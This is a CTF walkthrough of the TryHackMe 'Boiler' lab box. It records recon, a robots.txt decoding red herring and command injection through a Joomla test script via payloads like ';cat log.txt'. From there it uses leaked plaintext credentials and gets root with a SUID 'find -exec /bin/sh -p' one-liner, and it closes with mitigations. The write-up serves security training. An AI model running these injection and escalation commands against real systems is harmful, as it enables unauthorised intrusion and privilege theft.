Platform: TryHackMe · Difficulty: Medium · Category: Multi-Layer Encoding Troll / Command Injection / SUID find
Introduction
Twenty minutes. That's roughly how long it takes to peel a three-layer encoding puzzle (ASCII decimal → Base64 → MD5) out of a robots.txt file, run it through John the Ripper, and arrive triumphantly at the cracked result — only to discover the plaintext is literally the word kidding. The box is laughing at you. This matters for a reason that goes beyond one annoying box: an elaborate puzzle isn't proof it's load-bearing, and sunk cost is a real cognitive trap during a live engagement, not just a CTF quirk.
Boiler CTF opens with exactly that red herring, then gets quieter: anonymous FTP with a ROT13 riddle reminding you that "enumeration is the key," a Joomla test endpoint with a textbook command injection flaw, and SSH relocated to a five-digit port that costs you a moment of confusion before a second scan reveals it. The escalation chain ends on a misleadingly named flag file and a SUID find binary that's been on every escalation cheat sheet for a decade.
Recon
rustscan -a 10.49.154.195 -r 1-65535 --ulimit 5000 -- -Pn -sC -sV
| Port | Service | Version |
|---|---|---|
| 21/tcp | FTP | vsftpd 3.0.3 — anonymous allowed |
| 80/tcp | HTTP | Apache httpd 2.4.18 (Ubuntu) |
| 10000/tcp | HTTP | MiniServ 1.930 (Webmin) |
No SSH on this first pass — worth remembering for later.
feroxbuster -u http://10.49.154.195/ \
-w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt \
-x php,xt,html
# relevant hits
301 /joomla # ^^^ CMS install
301 /manual # Apache docs — noise
/manual/ is the stock Apache documentation tree — hundreds of hits, zero value. /joomla/ is the real target.
http://10.49.154.195/robots.txt
User-agent: *
Disallow: /
/tmp
/.ssh
/yellow
/not
/a+rabbit
/hole
/or
/is
/it
079 084 108 105 077 068 089 050 077 071 078 107 079 084 086 104 090 071 086 104 077 122 073 051 089 122 055 048 077 084 103 121 089 109 070 104 078 084 069 049 079 084 084 074 067 075
The fake subdomain list (/yellow, /not, /a+rabbit, /hole, /or, /is, /it — reading as "yellow, not a rabbit hole, or is it") is the box's own joke about itself. The number sequence underneath looked suspicious enough to decode.
Layer 1 — ASCII decimal to text: each three-digit group is a decimal ASCII code. Converted directly:
OTliMDY2MGNkOTVhZGVhMzI3YzU0MTgyYmFhNTE1ODQK
Layer 2 — Base64 decode:
99b0660cd95adea327c54182baa51584
Layer 3 — Hash identification: 32 hex characters = MD5 format.
echo "99b0660cd95adea327c54182baa51584" > hash.txt
john --format=Raw-MD5 --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
kidding (?)
The hash decodes to the word kidding. The box is explicitly telling you this entire puzzle was a joke — not a credential. Worth checking against FTP/SSH regardless (it wasn't), but the real path lies elsewhere.
Foothold
ftp 10.49.154.195
# Name: anonymous
ftp> get .info.txt
Whfg jnagrq gb frr vs lbh svaq vg. Yby. Erzrzore: Rahzrengvba vf gur xrl!
ROT13 is a substitution cipher that shifts each letter 13 positions through the alphabet. Since the alphabet has 26 letters, applying ROT13 twice returns the original text — making it self-inverse and trivial to decode by hand or with any online tool.
Decoded:
Just wanted to see if you find it. Lol. Remember: Enumeration is the key!
A direct hint pointing back at thorough enumeration — appropriate, since the box's actual vulnerability is still ahead.
Enumerating /joomla/ further surfaced /joomla/_test/ — a test script outside the normal CMS structure. Its parameter behaviour suggested command execution:
http://10.49.154.195/joomla/_test/index.php?plot=LINUX
Confirming command injection by chaining a command with a semicolon:
http://10.49.154.195/joomla/_test/index.php?plot=;ls
The response includes directory contents — including a standout file, log.txt.
Reading the log file via the same injection point:
http://10.49.154.195/joomla/_test/index.php?plot=;cat%20log.txt
The log contains SSH credentials in plaintext:
user pestest
user basterd pass superduperp@$$ port 49824
Username basterd, password superduperp@$$, and a port number that turned out to be a red herring.
| Username | Password | Where Found |
|---|---|---|
basterd |
superduperp@$$ |
Command injection → log.txt
|
Shell / Access
The log file's mentioned port (49824) refused connections:
ssh basterd@10.49.154.195 -p 49824
# Connection refused
ssh basterd@10.49.154.195
# Connection refused — port 22 doesn't even have SSH running
The first port scan never found SSH at all — meaning it's running on a non-standard port not in RustScan's default range, or the scan simply missed it on the first sweep. A second, full-range Nmap scan resolved it:
nmap -sV -p- 10.49.154.195
55007/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8
ssh basterd@10.49.154.195 -p 55007
# Password: superduperp@$$
basterd@Vulnerable:~$
ls -lah
# -rwxr-xr-x 1 stoner basterd 699 backup.sh
backup.sh is owned by stoner but readable by basterd's group:
cat backup.sh
USER=stoner
#superduperp@$$no1knows
A commented-out line containing what looks like stoner's password — appended directly after the reused basterd password fragment as a kind of in-joke (superduperp@$$ + no1knows).
ssh stoner@10.49.154.195 -p 55007
# Password: superduperp@$$no1knows
stoner@Vulnerable:~$ cat .secret
You made it till here, well done.
.secret looked like flavour text at first glance — but it's actually the user flag, just unusually named and hidden as a dotfile rather than the expected user.txt.
Escalation
find / -perm -4000 -type f 2>/dev/null
/usr/bin/find # ^^^ SUID find — itself
find supports an -exec flag that runs an arbitrary command for each matched file. When find itself has the SUID bit set, any command passed to -exec inherits root privileges — including spawning a shell directly.
/usr/bin/find . -exec /bin/sh -p \;
# root shell
# cat /root/root.txt
It wasn't that hard, was it?
Exploitation — The Full Chain
-
robots.txtdecoy puzzle (ASCII → Base64 → MD5) →kidding(red herring, confirmed not a credential) -
Anonymous FTP →
.info.txtROT13 hint about enumeration -
Joomla
_testcommand injection → readlog.txt→basterd:superduperp@$$ - Second port scan found SSH on port 55007 (not 22, not the red-herring port in the log)
-
SSH as
basterd→backup.shcomment leakedstoner's password -
SSH as
stoner→.secret(the real, oddly-named user flag) -
SUID
find→find . -exec /bin/sh -p \;→ root shell → root flag
Rabbit Holes
The robots.txt decoding puzzle itself. The entire three-layer decode (ASCII → Base64 → MD5 → John) led to the word kidding — a deliberate troll by the box author. It cost real time (decoding plus a John run) for zero progress toward the actual foothold. The lesson generalises: an elaborate puzzle isn't proof it's load-bearing; sometimes a box wants you to spend twenty minutes proving to yourself it was a joke.
Wrong SSH port from the log file. The log.txt file explicitly stated "port 49824" right next to the credentials — and that port refused every connection. The actual SSH port (55007) only appeared in a full re-scan. The log's stated port was either stale, a separate red herring, or referred to a different, unused configuration. Trusting a discovered artefact's stated port without independently verifying it via a port scan cost a few minutes of confusion.
Searching for user.txt by name. find / -iname "*user*.txt" returned nothing because the real flag was named .secret — a dotfile with no relation to the expected naming convention. Never assume a flag's filename; search broadly and read everything in a freshly accessed home directory, including dotfiles.
Flags
| Flag | Value | Location |
|---|---|---|
| User | You made it till here, well done. |
/home/stoner/.secret |
| Root | It wasn't that hard, was it? |
/root/root.txt |
Note: this box's flags are flavour-text messages rather than the typical hash/UUID format — consistent with its overall troll-heavy tone.
Mitigations
| Vulnerability | Severity | Mitigation |
|---|---|---|
| Anonymous FTP enabled | Medium | Disable anonymous FTP; restrict to authenticated users only |
| Joomla test script with command injection | Critical | Never deploy test/debug scripts to a production server; validate and sanitise all user input passed to system calls; use parameterised execution, never string concatenation into a shell |
SSH credentials logged in plaintext (log.txt) |
Critical | Never log credentials in any file; if logging authentication attempts, log only usernames and outcomes, never passwords |
| Password fragment exposed in a backup script comment | High | Remove all commented-out credentials from scripts before deployment; use a secrets manager or environment variables instead |
SUID bit set on find
|
Critical | Remove the SUID bit from find — it has no legitimate need for it; audit all SUID binaries regularly against GTFOBins |
Key Takeaway
Not every encoded string or elaborate puzzle is a critical clue — sometimes the box is testing whether you'll waste twenty minutes decoding a joke instead of moving on to broader enumeration. Decode it, note the result, and don't let sunk cost convince you it must lead somewhere just because it took effort to get there.
Room: TryHackMe — Boiler CTF
Top comments (0)